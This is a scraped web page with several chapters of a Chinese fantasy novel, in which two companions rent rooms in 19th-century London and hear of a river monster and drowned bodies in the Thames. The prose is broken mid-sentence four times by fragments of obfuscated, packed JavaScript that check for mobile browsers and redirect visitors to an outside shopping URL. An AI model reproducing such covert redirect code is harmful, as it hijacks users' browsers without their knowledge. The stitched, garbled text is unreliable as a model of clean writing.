l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457811|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起——下——地——狱——” 没人理他,他也不以为意,自顾自说道:“亲爱的以莱,你大可以铤而走险,有什么损失呢?无非是在沃尔玛多给莱尼宝宝买点成人型号的尿不湿嘛,批发可优惠,国庆节还有促销哦。” 如果教堂里也有魔鬼在低语,这就是了。 “不会的。”警长的声音好像绷紧的钢丝,坚定平稳,没有一丝颤抖,“以利亚,我不会忘记你。”他用手指碰了碰玻璃瓶,“他们也一样。” “对不起,我不能冒这个险。”以利亚垂下眼睫,不想让莱纳德看清自己的表情,“一旦出现意外,我不知道自己还能不能坚持得下去。” “要是事情真到那个地步,你可以离开。” “我怎么能?” 警长闭上了嘴,但不管他拥有的是莱纳德灵魂的哪一部分,心软肯定不在其中,他只是在思考如何把理智和逻辑塞进以利亚的脑袋。 也正是因为如此,他才没有看到以利亚的右手食指上正有血珠沁出来,“别犯傻,如果黑魔法彻底觉醒,你就算想走也晚了。”警长最后说道。 “有没有人告诉过你,莱纳德,”以利亚勉强笑了笑,把手指从他掌心里抽出来,画出最后一道完美的血印,“你冷酷得就像加纳利寒流?” “没有。”说这话时,警长的手掌忽然间亮起了白光,紧接着,整条手臂都消失在了荧光中,他抬起头,吃惊地看着以利亚:“你……” 后半句话来不及说完,便随着他的人一起没入了玻璃瓶中。 黑袍得意地吹了声口哨。 以利亚站起来,转过身,居高临下地看着他:“轮到你了。” 黑袍仰起头,神情却仿佛是在俯视:“地狱之门向我们敞开,有你作伴,我可是求之不得呢。” 以利亚提起嘴角,灰眼睛里却毫无笑意,“别误会,我不打算跟你一起下地狱,我们都有约定要遵守,不是吗?” 黑袍的表情凝固在了脸上,他瞪着以利亚,想从对方脸上看出口虚张声势的迹象,又笑起来,“你我都知道,这地方困不了我多久。” “我知道。”以利亚说。 “以莱,你可真让我失望。”黑袍脸上神情变幻,最后定格在不屑和讥刺上,“不过不用心急,等我醒来,你有的是机会后悔。” “好,我等着。”以利亚在他身前半跪下来,用食指蘸着血在他左右脸颊上各画出一道痕迹,立刻在他皮肤上烫出了白烟。 “黑魔法并不是这个宇宙里最强大的力量,它甚至不是地球上最强大的力量,”以利亚的语气出乎意料的温和,“我知道,你很享受它带给你的感觉,没人会讨厌力量,但事实就是,它迟早会把你消磨殆尽,最后取而代之。” 黑袍双眼中的黑色正随着血印增加急剧颤动着,他努力从喉咙里挤出声音:“说点我不知道的。” 以利亚平静地望着他:“你还有机会。” 黑袍反唇相讥:“你也还有机会,我劝你在最后一次心跳之前好好利用。” 以利亚回以一笑,不再说话,他在黑袍眉心画下最后一道血印,曲折的白光穿透血印逐渐明亮起来——符咒成功了。 在被白光彻底吞噬前,黑袍犹在狞笑:“以莱,我们下次再见。” 玻璃瓶被完全装满,但白色荧光里混入了一丝黑色,在瓶中缓慢地流动、旋转,如同瓷片上的裂纹,突兀地破坏了瓷器原本的美感。 以利亚心想,也许黑袍说得对,到最后他会为今天的决定后悔不已。 但这是个开始。 虽然冒险,却是个足以改变他们两人命运的开始。 医疗室里,莱纳德先睁开了眼睛。 漆黑的瞳仁只维持了几秒,很快又恢复了清澈的蓝色。 58.第一章:不合时宜的租客 莱纳德跳下马车,皮鞋和裤腿立刻溅上了泥点,不过他正忙着挥舞手臂好让自己不要在奥尔巴尼街上当众摔个狗啃泥,并没有注意到。 “我说,你能表现得别像个刚学会走路的螃蟹吗?”以利亚稳稳地站在他旁边,手里还拎着一只硕大的皮箱,他叹了口气,“只是马车而已,莱尼,你可以等它停稳了再跳的。” “你能表现得别像个评头论足的混蛋吗?”莱纳德反唇相讥,“而且平心而论,那匹马压根不懂什么叫停下。”没说完就被以利亚拉着后退几步,躲开马车轮滚动时溅起的新鲜泥浆,莱纳德揉了揉鼻子,他永远也习惯不了马车。 “嗯哼。”以利亚迈上公寓楼前的台阶,握住黄铜门环,在门上敲了三下,又转头对莱纳德说,“不过鉴于我们现在站在19世纪的伦敦,这点评头论足只是给你热身而已。” 莱纳德无言以对,他不自在地拽了拽内衬领子和勒得紧紧的领带,在心里感叹,19世纪让人不习惯的可不仅仅是马车而已,“我以为这个季节的伦敦不会下雨呢。”他最后嘟囔着说。 以利亚刚回答完“伦敦一年四季都会下雨”,楼门就被打开了,瘦瘦高高的海伦·洛克伍德夫人站在门口,对两个人表示欢迎。 她没有戴帽子,灰白的头发一丝不苟地梳向脑后,矜持地收着下巴:“以利亚先生,杜弗伦先生,这一路上一定辛苦了吧,请进,我收到博尔斯通先生的信之后就把客房打扫出来了,希望你们能住得习惯。” 洛克伍德夫人是他们的房东太太,在博尔斯通先生的引荐下——信是伪造的,当然了,而且莱纳德敢打赌洛克伍德夫人至少有十来年没见过她的远房亲戚博尔斯通先生了——以利亚用非常公道的价格向她租用了两间客房,租期半年,莱纳德希望他们并不是真的要住那么久。 他喜欢伦敦,真的,伦敦口音很可爱,以洛克伍德夫人为例,如果她能少用一些严肃的词就更好了,但一想到要呼吸两百年前的雾都空气整整半年,莱纳德就觉得很紧张。 那可是歇洛克·福尔摩斯呼吸过的空气啊! 好吧,大概比侦探先生早了几十年,即便他不是柯南道尔爵士虚构出来的人物。 “我已经向厨房打过招呼了,威金斯太太是个心灵手巧的好人,如果你们有什么特别想吃的,可以尽管去跟她说。”洛克伍德太太一边向他们展示这栋五层小楼的构造,一边点到为止地介绍了他们租住期间可以打交道的人,同时委婉地暗示,希望他们不要跟她的其他租客发生任何矛盾,或者引起不必要的丑闻。 没必要让长舌头的小报记者在她的楼门前探头探脑,尽问些让人不愉快的问题,这是洛克伍德太太的原话,莱纳德总怀疑她是不是看出了以利亚和他身上不对劲的地方,又或者,只是凭借她作为女人的直觉。 “非常感谢,洛克伍德太太,如果您不介意,我和杜弗伦要先回房简单整顿一下。”以利亚礼貌地回应,踏进屋子后,他就一直把帽子摘下来拿在手里,像个合格的绅士那样,莱纳德惊讶地发现他的口音居然已经完美融入这个地方了,“另外,会有人送热水来吧?” “苏珊娜会送热水和茶点上去的,先生们,休息吧。”洛克伍德夫人说,然后就离开了。 卧室不大,陈设也相当简单,莱纳德不知道以利亚口中的“整顿一下”指什么,反正他只是把领带往下扯开半寸,然后在床上坐了一会儿,显然,扎尔蒙·席梦思先生还没想到弹簧床垫这个天才主意,要么就是伦敦人更青睐睡在木板上,莱纳德毫不怀疑,等过一晚上他肯定会腰酸背痛的。 莱纳德站起来,在卧室里茫无目的地兜了几个圈子,然后决定去找以利亚。 以利亚居然还真的在卧室里“整顿”,他的行李箱摊开摆在床上,里面的东西乱七八糟地扔了一床,不只是衣服,还有一些看着就很离谱的东西—— 折叠刀、强光手电、一捆绳子、捕虫网,甚至还有一把精致小巧的连发弩,好像他们此行不是来伦敦,而是要在有邪恶猛兽出没得达特穆尔荒原探险似的。 后来莱纳德才知道,等待他们的是比巴斯克维尔猎犬危险得多的东西,而以利亚那只巨大无比的手提箱有一个隐蔽隔层还没来得及打开,那里面的东西才真叫离谱。 “有什么事吗?杜弗伦。”以利亚转过身,表情似乎有点惊讶,“你的房间怎么样?” “呃嗬。”莱纳德用喉咙发出不耐烦的声音,“以利亚,你能捋直舌头好好说话吗?还有,除了我的高中英语老师,根本没人叫我杜弗伦。” 以利亚好笑地看着他:“你的意思是女王的语言不够尊贵?” “是太尊贵了。”莱纳德嘟囔,他们根本没必要假装自己是个19世纪的英国人,不是吗?哥伦布发现美国大陆都好几百年了,两国之间也早有商船往来,可以利亚偏偏要融入当地,还煞有介事地改变了自己的口音和用词习惯,找来一大堆穿着毫无舒适感可言的衬衫马甲西装外套,戴上可笑的帽子,而且——也是莱纳德最想吐槽的一点——他居然还留了两撇小胡子! “不用我提醒你吧?我们是埃塞克斯郡商人,来伦敦是为了跟莫森银行谈几笔生意。”以利亚居然把伪造信里的那通狗屁搬出来,莱纳德没听完就翻了个白眼:“为什么?老天爷,我们为什么就不能是从美洲大陆来的商人?” 以利亚一本正经地说:“因为这是19世纪,即便是在伦敦,外国人也会吸引更多目光。” “又不是说我上街的时候还要一边高唱《一个在伦敦的美国人》 ,”莱纳德嘟嘟囔囔,“再说了,一个自称生长在大不列颠,结果却操着美国口音,还时不时蹦出不合时宜词语的人,难道不会更吸引目光?” “所以我建议你最好适应一下这里的语言环境,其实感觉还蛮不错的。”以利亚温和地笑笑,好像换口音就跟换衣服一样简单还充满了新鲜感,他想了想,又说,“如果你是不想在这里住太久的话,别担心,我们不会的,最多半个月,我保证。我只是需要在这里有一个安全屋,方便以后再来,就像金莫顿实验室一样。” “那你怎么不早告诉我?”莱纳德还是不满意,事实上,自从在飞船上醒过来,以利亚就对很多事情三缄其口,比如他们是怎么从那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473365|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个吓人的古堡跑到飞船医疗室去的,红帽子女巫又是怎么摆平的,然后就是现在,“我们究竟来这干嘛?先说好了,你要是像上次那样敷衍我,那还不如不说。” 以利亚摸了摸自己的小胡子:“喂,我什么时候敷衍你了?” 莱纳德就快把眼睛翻到后脑勺上了:“在飞船上,你跟我说,我签订契约把半个灵魂卖给了女巫,然后你帮我找回来了,这就完了?” 以利亚眨眨眼睛:“对啊,有什么问题吗?” “这种事怎么可能一句话就讲完了?”莱纳德不可思议地瞪着以利亚,觉得对方要么在装傻,要么就是把他当成傻子,“你是怎么把我的半个灵魂找回来的?那个红帽子女巫呢?契约怎么回事?你的眼睛不会再失明了?还需要我继续提问吗?” “好吧,我明白你的意思了。”以利亚忍不住又摸了摸胡子,他发现这小动作还挺上瘾的,一边小心翼翼地斟酌道,“但恐怕除了第一个问题,其他的我也给不出确定答案,至于你的半个灵魂是怎么找回来的,那得感谢飞船上的追踪系统,简而言之,在跟黑魔法的较量上,科技总是更胜一筹。” “为什么我全不记得了?”莱纳德一屁股坐在床上,立刻“嘶”了一声,他伸手把以利亚箱子里那些硌人的小玩意儿拨到一边,抬眸望着以利亚,问,“难道丢掉半个灵魂之后我就陷入昏迷了?” “嗯哼。”以利亚抱起胳膊,“既然你提起来了,我想我们也可以讨论一下你不要命地跟女巫做这种危险的灵魂交易到底有多么愚蠢。” “……算了。”莱纳德泄气,“过去的还是让它过去吧。”他试探地看了以利亚一眼,后者居然真的没再追究,爽快地翻篇,说道:“我们这次来伦敦是为了找一个人。” 莱纳德的好奇心被提了起来:“谁?莫森银行的经理?” 以利亚从口袋里掏出一张发黄的纸,递给莱纳德:“喏,那个人的画像,看仔细点,这基本就是我们掌握的全部信息了,顺便,他不是莫森银行的经理,如果你刚才那问题是认真的话。” 莱纳德看着黄纸上的人像,不是照片,甚至不是彩绘,而是一张黑白速写,不过也算简单传神,画中的男人穿一身西装,留着小胡子,左眼睛上戴着一个单片镜,打扮得很普通,看长相更是毫无特殊之处。他忍不住说:“福尔摩斯先生,不是我说丧气话,但伦敦这么大我们手里就一张画怎么找?” 以利亚耸耸肩:“我还有点别的线索,不多,但说不定能有点眉目。” “什么线索?” 以利亚刚要回答,房门就被敲响了,他打开门,从女仆苏珊娜手里接过摆满茶点的餐盘,顺便接受了对方含蓄的目光洗礼,“非常感谢,小姐,不,我想我暂时不需要其他东西了。” 关上门后,以利亚很自然地给莱纳德倒了杯热茶,还贴心地问了句:“要加奶吗?” 等莱纳德抱着茶杯啜饮时,他才抱着胳膊说:“一点新发现,两个大男人大白天挤在一间卧室里说悄悄话,恐怕比不合时宜的美国俚语更引人注目。” 莱纳德把满口的茶都喷了出来。 59.第二章:伦敦生活 洛克伍德公寓位于奥尔巴尼街下段,是一栋不折不扣的老楼,顶层阁楼上加盖了一个哥特式尖顶,使这栋徐娘半老的公寓凭空多出了几分不合时宜的童话感。 天气晴朗的时候,站在尖顶上的麻雀甚至能够俯瞰摄政公园里盛开的玫瑰,而更多的雾气降临的日子里,高耸的尖顶则成为西区居民辨认方位的醒目路标。 对于快活的西区伦敦佬儿而言,洛克伍德公寓也如同灯塔之于航船那样,是个可以躲避风雨的地方,只要你口袋里有钱。 公寓大门面西,大厅两扇采光的窗户常年照不到阳光,反而将街道车马往来的动静全数接收,因此十分热闹。楼背后则有个安静且漂亮的小花园,一条白灰色的碎石小径将花园分为两半,蜿蜒好似中国道教的阴阳鱼图。 向阳的一侧,由洛克伍德太太亲手打理的石楠和郁金香长得欣欣向荣,角落里还有威金斯太太圈出的一片小菜地,根据季节变换种植欧芹和豌豆,聊以供应厨房。小径右侧是块空地,椴树投下阴影的地方摆着一张圆木桌和几把折椅,供闲情逸致的租客聚在桌边喝下午茶。 不过据莱纳德观察,除了住在二楼那位闲话很多、爱穿绿色棉睡袍的老小姐之外,平时很少有人光顾这里,或许是威金斯太太总用泔水浇菜的缘故。 莱纳德的卧室在三楼,窗户正对着花园,窗外层层叠叠地盘绕着爬墙虎,盎然绿意与漆成明黄色的墙壁交相辉映,每次推开窗户,莱纳德都恍然有种置身乡郊的错觉,尽管这片绿色只延伸到围墙便戛然而止,再往东则是以浅灰为永恒色调的尤利西斯长街,在那里,戴尔士造纸厂的烟筒不知疲倦地向城市上空吐出浓稠的白色烟雾。 以利亚的卧室跟莱纳德隔着一个小客厅,住在临街的那一边,莱纳德每次进去都听得到街角报童卖力的吆喝声和马车轮滚过石板地的吱呀声。当然,自从第一天被女仆苏珊娜撞见后,莱纳德就很小心地没在以利亚卧室待过足以令人生疑的时长,也就是说,他们从不在卧室里商量正事。 只除了第一天晚上,以利亚连声招呼都不打,半夜三更悄悄摸进了莱纳德的卧室。 当晚莱纳德早早睡下,尽管凹凸不平的木板床害得他辗转反侧,但朦胧的梦境依然笼罩了他,深冬的细雨敲打着窗玻璃,在梦里像是隔着一层大棚塑料膜,听起来忧郁而沉闷。 当以利亚站在他床头轻推他肩膀的时候,莱纳德敢肯定自己正在做噩梦,因为他听到自己像被捏住脖子的尖叫鸡一样叫唤了半声,后半声立刻被以利亚伸手捂住了,然后他在黑暗中低声说:“是我,拜托了,可千万别把洛克伍德太太招来,你听到她的话了,这种丑闻可是她最不愿意见到的。” “以利亚?”莱纳德惊魂未定,梦境如同潮水一般褪去,心头只留下一阵惴惴,像被推到沙滩的小螃蟹似的,在沙地上爬搔出无数细小的足印,他用力眨了眨眼睛,好确认自己真的清醒了,问,“老天爷,出什么事了?” “没什么事,你可以把那副大祸临头的表情收起来了。”以利亚拖了把椅子到床边,施施然坐下,十指交叉搁在身前,两条腿往床沿上一搭,“我就是想起来,咱们白天还有个话题没聊完呢。” 莱纳德定了定神,感到理智和逻辑重新回到脑袋:“什么?哦,要在伦敦找个人,你说、你说除了那张草图还有其他线索来着。”他试图回想那个铅笔勾勒的人形,但脑子里唯一清晰的想法却是,外面还在下雨。 以利亚一扬眉毛:“没错,不过我想了想,也许这件事我们不该太着急。” “什么意思?我们要离开?”莱纳德不想承认自己内心闪过一丝隐秘的喜悦,更不会承认这个地方总是给他一种阴森森的感觉,让他胳膊上冒出鸡皮疙瘩来,不管是不苟言笑的房东太太,还是一翻身就吱呀作响的木板床,还有这场没完没了的雨……天啊,那该死的雨压根就没停过。 但以利亚却给出了与他期待相反的答案:“不,我们可能会待得更久一点,接下来我还有点事要办,不,我一个人足够了,你白天可以在城里转转,皇家剧院、大英博物馆,你可以去海德公园看大白鹅,还有几家很不错的餐厅,我把支票簿借给你,红酒随便喝,怎么样?” 他说着挤了挤眼睛:“别忘了,这里可是19世纪的伦敦。”好像这个时期的伦敦是什么香饽饽,而不是距离著名的“大恶臭”只有二十来年似的。 一定是莱纳德脸上的失落表情太过明显,以利亚把腿从床沿上放下来,压低肩膀凑过来:“怎么了?有什么事吗?”那双眼睛在黑暗中闪闪发光,像被雨打湿的鹅卵石。 “没什么。”莱纳德慢慢摇了摇头,他还没绝望到把伦敦雨夜当成鬼故事讲给以利亚。 当然,等到真正的绝望降临时,他已经来不及告诉任何人了。 第二天,以利亚像他说的那样一大早就出门了,莱纳德下楼时听到有人在讨论那个“埃塞克斯郡商人”,说他“一看就很有教养”,立刻就知道不是在说自己,这一点莱纳德还有自知之明。 尤其后来在餐桌上,四楼那个带着女儿的寡妇在看到他用面包蘸咖啡时不赞同地大皱眉头的样子,虽然莱纳德不在意,不过那足够说明问题了。 比起他的沉默寡言和不合时宜的举动,以利亚显然很懂得如何释放自己的魅力,金钱当然是一方面,不然房东太太不会忍受公寓的住客像猫头鹰一样消耗她储藏室里的蜡烛,但是连厨娘都被他哄得服服帖帖,每天都早早煮好第一壶咖啡亲自送到楼上,晚饭点如果以利亚不回来,她还会把一罐鸡汤或番茄汤是煨在小火上,好让以利亚半夜回来能有热乎东西吃。 以利亚就是有这个本事,别人羡慕不来。 莱纳德不知道以利亚这些天都去了哪些地方,更不知道他做了些什么,倒不是他不好奇,不过除非莱纳德半夜不睡躲在对方卧室里等着,否则一整天都很难见上以利亚一面——莱纳德后来还真这么做了,不过结局要比想象中离奇许多。 借用那个住在公寓一楼、明显囊中羞涩的年轻银行书记员的话,以利亚的行踪“相当诡秘”。 莱纳德认为他的判断不无道理。 不过他到底还是听从了以利亚的建议,除了吃饭和休息时间,莱纳德基本在附近街区闲逛,用以利亚的钱买些乱七八糟的小玩意,并且乐在其中,伦敦老城的魅力是一方面,躲开洛克伍德公寓里一双双评头论足的眼睛和热心八卦的舌头则是另一方面。 不管怎么说,在这座常年受到泰晤士河滋养的城市,多得是比洛克伍德公寓有趣的人和事,尽管颇为讽刺的是,泰晤士河本身反而不在其中,这条河到底没能躲过工业革命的荼毒,莱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489580|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纳德只有一次散步时眺望过河岸,并且不等走近便果断掉头折返,他对此地的看法直到后来也始终如一,当代作家约翰·伊夫林形容得相当生动并且准确,隔着半条街望去,泰晤士河岸的确如同“地狱般阴惨惨”。 在遇到那个传奇人物、开启那段传奇冒险之前,莱纳德几乎已经习惯了眼下的生活,走过一座城的大街小巷是了解一个地方最直接、也最有效的办法,老肖恩很久以前就这么告诉他。 这话说得没错。 这天下午,莱纳德正在一家俱乐部里打台球,像退伍军医约翰·H·华生那样靠绅士游戏消磨被同伴丢下的大把时光。 平心而论,他打得还不错,也许比起他的对手来略逊一筹,不过对方显然在这项活动上投入的时间比他多得多,连浆得如同铁板一样的衬衣领和勒得紧紧的马甲都没能影响他发挥,并且始终保持扑克脸,莱纳德敢打赌他玩桥牌一定也很厉害。 就在莱纳德丢掉关键一球,只能站在一旁看着对手不紧不慢地把球一颗颗地撞进洞里时,有个年轻男人靠过来,用胳膊肘捅了他一下,语气不无惋惜:“要我说,这一局游戏胜负已定,杜弗伦先生。” “哦,您是?”莱纳德歪过头,打量着对方,倒是不意外对方知道自己的名字,这个家伙在他附近转悠了好久,莱纳德都能听到他肚子里的算盘声了,要是他再不过来搭讪,莱纳德搞不好会主动出击。 “大卫·博伦特。”对方朝莱纳德伸出手,手掌宽厚结实,指甲剪得短短的,“介意一起喝一杯,聊聊天吗?” “这个嘛……”莱纳德目光在台球桌上流连,装作对这场游戏恋恋不舍的模样,对方立刻又说:“我手里有一些消息,你或许会感兴趣。” 莱纳德抬起头:“什么消息?” 博伦特露出讨人喜欢的微笑,漆黑的小胡子下,一口白牙整整齐齐:“你喝威士忌吗?” 莱纳德叹了口气,他不喜欢喝酒,但这个地方也不卖果汁。 “刚才的介绍含糊得很,请别介意,我是《西部新闻晨报》的专栏记者,认识的人都叫我都弟。”博伦特把加冰威士忌推到莱纳德面前,语气仿佛他刚才自我介绍是猫王,而不是什么名不见经传的伦敦小报记者。 莱纳德不感兴趣地点点头,单刀直入:“都弟,你手里有什么消息?” 博伦特得意地一挑眉毛,压低声音:“是关于那条河的消息。” 凭那副神气和架势,就算博伦特的秘密消息是关于时间旅行和变异蘑菇,都不会大出莱纳德意料之外,可他做足了心理预期,结果就听到这么一句,忍不住脱口而出:“就这?” 有一瞬间,博伦特的表情宛如吃了屎一般,他肯定是从莱纳德脸上读出了真心实意的不屑,而非为了套话的虚张声势,好半天才挤出一丝微笑:“当然不止如此。” 莱纳德耸耸肩:“是吗?那你展开讲讲,我的下巴准备好掉下来了。”这时他还以为博伦特肯定是认错了人,后来他才知道,错的是他自己,而且是大错特错。 博伦特纠结了几秒,但还是从上衣口袋里摸出了一张折成四四方方的画纸,翻转倒扣,用食指推到莱纳德面前:“看看这个,你会明白的。” 莱纳德捏起一角,把画纸展开。 他的下巴果然掉了下来。 60.第三章:泰晤士河浮尸案 很难形容那张纸上究竟画了什么,因为此时距离麦斯威尔令人惊叹地拍摄出第一张彩色照片还有将近三十年,距离记者们开始使用相机编织新闻更还有近一百年,而博伦特——老实说,他显然并不是个技艺高超的画家——只是用黑墨水在纸上涂抹了一通。 但是莱纳德仍然看出了画里的内容,泰晤士河看起来更像阴惨惨的地府了,河岸轮廓只是勉强能够辨认,因为河里升起的那团黑影几乎挡住了一切,而它的模样,任何看到它的人都会感到心底发凉。 那东西难以名状,如同一只巨大的蛞蝓,却又像是长了许多手脚,以及不止一双眼睛,正从河面上探出头来。 莱纳德屏住呼吸,瞪着面前的灵魂画手,问:“什么意思?你是想告诉我,你其实不是个记者,而是专门给恐怖故事画插图的?” “感谢你对我画技的肯定,别太吃惊,这年头当记者什么都得会点。”博伦特又恢复了那副得意的模样,显然莱纳德脸上的表情满足了他,“这可是我亲眼见到的,现在感兴趣了吗?” 莱纳德把画纸丢到桌上,努力不让目光回到那个让他后脖子鸡皮疙瘩蜂拥而起的怪物上,一字一顿地回答:“我唯一感兴趣的是,你为什么来找我?” 没有人会相信这么一副凌乱可怖的抽象画能被谁亲眼见过,但不知怎地,莱纳德却并不怀疑这一点,他知道这个怪物真实存在,就像他知道太阳从东边升起那样。 而大卫·博伦特见过那怪物,上帝保佑他。 “我说了,我是《西部新闻晨报》的专栏记者。”博伦特的语气仿佛这句话就能解释一切,他顿了顿,又补充道,“我最近一直在调查那条该死的河,说真的,这段时间被河水臭晕的人可不在少数。”他说着用手指点了点画纸,笑了起来,“你觉得这玩意儿能不能让《晨报》一炮走红?” “或者说,让你一炮走红?”莱纳德哂笑。 “那只不过是额外奖励,”博伦特满不在乎地耸耸肩膀,往椅背上一靠,说道,“我是个真相追逐者,真相才是对我的最高奖励。” “够励志的。”莱纳德嘟囔了一句,有一瞬间,他几乎为博伦特感到可惜,这位勇敢的记者像恐怖片男主似的一见到怪物就冲在前面,浑然忘记自己并非刀枪不入,也许一次两次还行,但时间久了,再多运气也迟早会花光,这是莱纳德的经验之谈。 “但为什么是我?”莱纳德问,他只是个带着奇怪口音的埃塞克斯郡商人,和合伙人来伦敦度假,跟侦探、记者之流半点搭不上边,如果博伦特一直跟着他,就会发现他没做过任何引人注目的事。 博伦特的回答是从口袋里掏出了第二张画。 这张画让莱纳德大吃一惊,上面是两个人,尽管只有寥寥数笔,却画得异常传神,一眼就能看出来是谁。 那是他和以利亚。 博伦特得意地说道:“老兄,显然你们俩也在调查这桩事,而我一向坚信人多力量大。”他的语气真是非常有说服力,有那么一瞬间,连莱纳德都差点相信了——如果他不是清醒地知道自己眼下根本没在调查任何事的话——他足足愣了几秒钟,才回答道:“你找错人了,博伦特,或者都弟,随便什么,听着,我不是记者,更不是私家侦探。” 可博伦特为什么能准确叫出他的名字?还有那副画着他跟以利亚的画。 “当真?”博伦特眯起眼睛,似乎在权衡莱纳德的话有几分认真,他两个手肘压在桌子上,朝对方倾过去,压低声音,“我知道你和你搭档不喜欢被打搅,不过我昨晚在泰晤士河边看到你们俩了。我的眼神还不错,所以建议你不要试图在这方面反驳我。” 博伦特好奇地打量着莱纳德,被对方倒吸一口凉气的模样给逗乐了,“老兄,你是习惯了夸张表演,还是对自己隐蔽行踪的本事自信过头?” 莱纳德看着博伦特,整个人处于一种奇怪的平静状态,当然了,泰晤士河里有猫腻,不管那是什么杀千刀的玩意,而以利亚一向喜欢追逐怪物和怪事,即便真是个千手千眼的蛞蝓怪,他们可是在19世纪的伦敦,怪事也少不了。 唯一的问题是,他绝对没有陪以利亚一起调查。 “老兄,”博伦特在莱纳德脸跟前打了个响指,“你睁着眼睛睡着了?” 莱纳德忽然从座位站起来,因为起得太猛,差点连面前的酒杯都撞翻,他匆匆丢下一句“我要走了”,转身便要离开。 “喂!杜弗伦!别走啊。”博伦特在后边叫他。 莱纳德却走得更快,简直是落荒而逃。 “等等!”博伦特从后边抓住他,不由分说往他手心里塞了个东西,莱纳德一点都不想纠缠,甩开对方继续往前,他攥紧拳头,手心里硬扎扎的,好像是张叠起来的纸片子。 推开俱乐部大门的时候,他还听到博伦特在身后大声说:“等你想通了,就给我打电报,我们再谈谈!” 不过此时此刻,对于莱纳德来说,那只是乱糟糟的噪音,他脑子里只有一件事——找以利亚问个清楚。 问他妈个清清楚楚。 回到洛克伍德公寓,以利亚果然不在,莱纳德空憋了一肚子闷气无处发散,差点在苏珊娜问他吃不吃晚饭的时候喊起来。 幸好苏珊娜小时候在苏格兰农场长大,知道脾气暴躁的男人跟非要尥蹶子的马没有区别,并且对付起二者来都得心应手,更别提以利亚还特别关照过要对他多加照顾。 于是苏珊娜好脾气地没有回嘴,她给杜弗伦先生递上一杯热茶,配上一盘姜汁饼干,还承诺晚餐会给他做一盅嫩嫩的奶油炖蛋,十分迅速有效地安抚了对方。 尽管莱纳德并不是真的心平气和,但对女士表现得如此失礼让他感到一丝羞愧,尤其对方还那么体贴入微,这种羞愧一直持续到晚餐桌上,被新一轮惊讶和疑惑给代替了。 有人提起了那桩浮尸案。 “你们看过最新一期的《每日镜报》吗?”穿绿睡袍的老小姐马莉塔一边喝汤一边问桌上的人,她吃饭时也像只百灵鸟似的叽叽喳喳,并且把汤嘬得啧啧有声,“没有人?哈,我就知道。” 她摸索着座椅靠背,最后从屁股底下抽出一叠报纸,丢到餐桌上,用一根枯瘦如鸟喙的手指戳着纸张:“现在的年轻人我真是搞不懂,每天净看些《每周快讯》之类的油墨垃圾,要么就是除了喊政治口号根本没有任何价值的便士小报,要我说,这世上只有两份报值得读的,一份是《泰晤士报》,上帝保佑约翰·沃尔特 ,另一份就是《每日镜报》,不管你关心什么,都能在上面找到答案。” 饭桌上,除了寡妇朗博贝妮太太嘟囔了几句赞成的话,还有脸色发黄的寡妇女儿在一旁机械地点头应和之外,大家都习以为常地低头吃饭,没人在乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499315|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老小姐的读报心得。 “我早说过,伦敦只有西区才是人住的地方,东区的贫民窟里永远出不了绅士和淑女……”老小姐又喋喋不休起来,仿佛从寡妇那里获得了支持的力量,那条舌头简直有使不完的劲。 莱纳德没去听老小姐的话,他的目光落在报纸上,当那只快乐的老百灵鸟说到“苏格兰场那群成不了事的饭桶”时,莱纳德忽然伸出手,拿过了那份被老小姐臀部体温捂热的《每日镜报》。 报纸上的标题格外刺眼—— 泰晤士河发现浮尸!苏格兰场资深警探透露已是本月第四起落水案! “看吧。”老小姐大度地咧嘴一笑,露出干瘪崎岖的牙龈,一块甜菜根在牙缝里若隐若现,好似凶杀案线索,“年轻人,你刚来伦敦不久,我得奉送你一句劝告,不用谢我,”她故意停下来,先“吸溜吸溜”地喝干碗里的最后一口汤,又掏出手绢响亮地擤了擤鼻子,这才不紧不慢地说,“离那条河远点,看在上帝的份上,离那条受诅咒的河远一点。” 对,关于那条受诅咒的河,莱纳德心想,记者先生是怎么说的来着? 博伦特的话回到莱纳德耳边,他最近一直在调查泰晤士河,因为河里有个丑得足以让苹果腐烂的怪物,博伦特还一笔一划地画出来了,不是吗? 莱纳德放下报纸,在百灵鸟的时事点评协奏曲里吃完了晚饭,沉默地上楼、回屋。 等到公寓楼里的蜡烛全部熄灭时,莱纳德推开自己的卧室门,蹑手蹑脚地钻进了以利亚的卧室。 他必须等以利亚回来,不管多晚。 